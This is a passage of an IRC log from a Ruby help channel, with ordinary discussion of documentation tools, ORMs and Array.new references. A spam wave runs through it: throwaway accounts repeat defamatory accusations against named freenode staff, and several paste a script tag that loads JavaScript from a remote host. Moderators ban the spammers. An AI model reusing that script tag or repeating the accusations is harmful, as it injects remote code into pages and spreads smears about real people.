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<zenspider> "just run yardoc"... all these sentences with "just" are big huge lies
<zenspider> if you need to: `gem rdoc --all` ... then `gem server` should be good for all your installed gems
<zenspider> (ri will work then too)
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<zenspider> then you can do things like `ri -l | grep -i chef` to see all the names involved and poke through those
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<idchlife> Hi everyone!
<Radar> hi
<idchlife> Hey guys is there any ORM in Ruby you know that has explicit attributes written inside model?
<idchlife> Like
<idchlife> :name String
<idchlife> etc
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<Radar> idchlife: mongoid
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<idchlife> @Radar wow! This is nice! Thanks! Anything more, for relation databases? I'm impressed such thing exists for mongo, but after all, makes sense, because how else to track types and fields
<idchlife> * Radar
<idchlife> sorry forgot how to mention in irc
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<idchlife> Really, I just shocked how good mongoid judging by documentation. Normal queries, relations.
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<Radar> idchlife: I would still recommend ActiveRecord. I don't understand anyone's reason for listing fields in a model.
<Radar> When especially you can do Model.new in AR and see the fields anyway
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<idchlife> I will try to justify my reasons. I came from PHP, TypeScript, Python, where I used Doctrine, TypeORM, SQLAlchemy. These are convenient tools for me because within Entity with autocompletion, type checking etc I can always see what's there. Also they do generate migrations automatically, making me check those generated migrations only in case there is some sensitive migration (alter table change type when there are alredy valu
<idchlife> exist. Also you need always to write migrations by hand.
<idchlife> es inside for example). So when I switch to AR I find it difficult to grasp the reality that I have to always track columns in database for simpliest things. Also this does kill it for me if I have 2-3 projects with the same orms but slightly different models. Then this becomes truly hell. Maybe I don't understand something in AR, but as I see it - it is empty class with helper methods which allow "magic" attribute set/get to
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<idchlife> Actually more I stumble that Ruby does not have ORM with entities where you explicitly (for the sake of readability, easy access for info about fields, language server helping with types) write attributes - more I start to think I missed something and there is more to AR than I think
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<dalpo> idchlife: If you only need an easy access fo info about fields, https://github.com/ctran/annotate_models could help you with AR
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<idchlife> dalpo: thanks! I saw this and want to use at one point. Do you use it in your projects?
<dalpo> I used it in a couple of project and with big databases it helps a lot
<dalpo> did you also take a look at http://rom-rb.org ?
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<idchlife> I'm yet to read fully documentation of rom-rb. As I'm aware it came from Datamapper gem, also rom-rb known as "datamapper 2"
<idchlife> Or I mistake it with some other package :|
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<dalpo> idchlife: I haven't experience with ROM but I'd like to try it in the future
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<Radar> I wrote a book about using it with Rails called Exploding Rails: https://leanpub.com/explodingrails. You might like to read it.
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<dalpo> Radar: I know :) I will read it soon
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<leitz> Am I correct in thinking this tests whether result is >= min and <= max? assert((min..max) === result)
<leitz> Of course, typing it out helped clarify the way to test it. :)
<leitz> And the answer seems to be "yes"
<leitz> Does not work on floats.
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<leitz> Correct, does work on floats, assuming you don't add a number that puts it over the max...
<leitz> Correct/Correction
* leitz needs more coffee
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* oct2pus hands you a coffee
* leitz smiles gratefully...
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<leitz> Even with the small programs I write, TDD is making my life a lot easier. I just to start "fixing" code and break everything. Now I just break a few things at a time.
<leitz> I just/I used to
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<leitz> Out to Dr. Back in a bit.
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<dodobrain|> Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<dodobrain|> or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<dodobrain|> Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<dodobrain|> Voice your opinions at https://webchat.freenode.net/?channels=#freenode
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<Guest99108> or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<Guest99108> Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<Guest99108> Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<Guest99108> Voice your opinions at https://webchat.freenode.net/?channels=#freenode
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<alicef> hello, someone can help ? https://github.com/aliceinwire/wikinote/issues/5 ?
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<Looking> Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<Looking> or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<Looking> Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<Looking> Voice your opinions at https://webchat.freenode.net/?channels=#freenode
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<DenSchub_> Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
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<DenSchub_> or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<DenSchub_> Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
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<DenSchub_> Voice your opinions at https://webchat.freenode.net/?channels=#freenode
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<apeiros> !spam denschub_
<apeiros> !spam Looking
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<Guest17403> Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<Guest17403> or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<Guest17403> Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<Guest17403> <script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
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<JoeK24> Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<Captain_Beezay> Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
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<Caerus> oh wow the spam campaign is all over the place
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<Sophira9> or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<Sophira9> Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<Sophira9> Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<Sophira9> <script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
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<MrElendig26> or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<MrElendig26> Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
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<MrElendig26> Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<MrElendig26> <script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
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<Meanderthal9> or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<Meanderthal9> Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<Meanderthal9> <script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
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<Guest46164> Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<Guest46164> or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<Guest46164> Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<Guest46164> <script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
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<mniip> apeiros, mind if I invite a network spam detection bot?
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<apeiros> mniip: pm?
<apeiros> !spam Guest46164
<apeiros> !spam Meanderthal9
<mniip> sure
<coderphive> thanks!
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<shreyansh_k24> Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
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<apeiros> nice. insta kline.
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<icee2421> or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<icee2421> Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
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<banzaikitten10> Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
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<cthulchu> ^^ that blog is a fake. This week in spam
<baweaver> Sigyn is auto-banning them as they pop in.
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<baweaver> good bot
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<SkyPatrol25> Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
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<Guest80472> Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
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<Dread28> or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<Dread28> Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
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<labviking> Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
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<al2o3-cr> i bit offtopic, but can anyone read japanese here and translate for me?
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<al2o3-cr> i need to what the 4 assist functions are on drill
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<stevefink> In 2.4.1, if I do: foo = Array.new(N) { a_complex_object }, will foo contain N copies of a_complex_object, or will they be refs and thus efficient for storage?
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<elomatreb> stevefink: Depends on what a_complex_object is, if it's a variable you will get an array that contains the same object multiple times
<elomatreb> But if it's a method that creates a new instance you will get new instances
<stevefink> elomatreb: so if I'm storing the same object multiple times and it's just a reference, then storage _should_ be cheap, correct?
<elomatreb> It should, but e.g. if you modify one element you will also modify all the others (since there's only one)
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<apeiros> >> ary = Array.new(3) { "fake complex object" }; ary[0].upcase!; ary # stevefink to illustrate what elomatreb said
<ruby[bot]> apeiros: # => ["FAKE COMPLEX OBJECT", "fake complex object", "fake complex object"] (https://eval.in/1041495)
<elomatreb> No, that creates new strings :)
<apeiros> >> fake = "fake complex object"; ary = Array.new(3) { fake }; ary[0].upcase!; ary # stevefink to illustrate what elomatreb said
<ruby[bot]> apeiros: # => ["FAKE COMPLEX OBJECT", "FAKE COMPLEX OBJECT", "FAKE COMPLEX OBJECT"] (https://eval.in/1041496)
<apeiros> elomatreb: you're too quick ;-)
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<apeiros> stevefink: so 1st one is "method which creates new instances", second one is "variable referencing an object"
<apeiros> (on a sidenote, you can have 2nd easier as: Array.new(3, fake))
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<stevefink> yep for my case, if the object is repeated multiple times and all references to the same spot in memory, that's perfect.
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<al2o3-cr> >> Array.new(3) { "foo" }.map &:__id__
<ruby[bot]> al2o3-cr: # => [548080980, 548080970, 548080960] (https://eval.in/1041497)
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<al2o3-cr> >> Array.new(3, "foo").map &:__id__
<ruby[bot]> al2o3-cr: # => [553299450, 553299450, 553299450] (https://eval.in/1041498)
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<Guest30129> Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
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<Radar> !ban Guest30129
<Radar> !spam Guest30129
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<bolt20> Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
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<SebastianFlyte16> Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
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<baweaver> And another one gone, another one gone, another one bites the dust!
<baweaver> Don't click ze links. Spam they are, and freenode bots are killing them after their first posts.
<baweaver> hrm, on second thought...
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<baweaver> Turned registration on, that should mitigate spam for a while.
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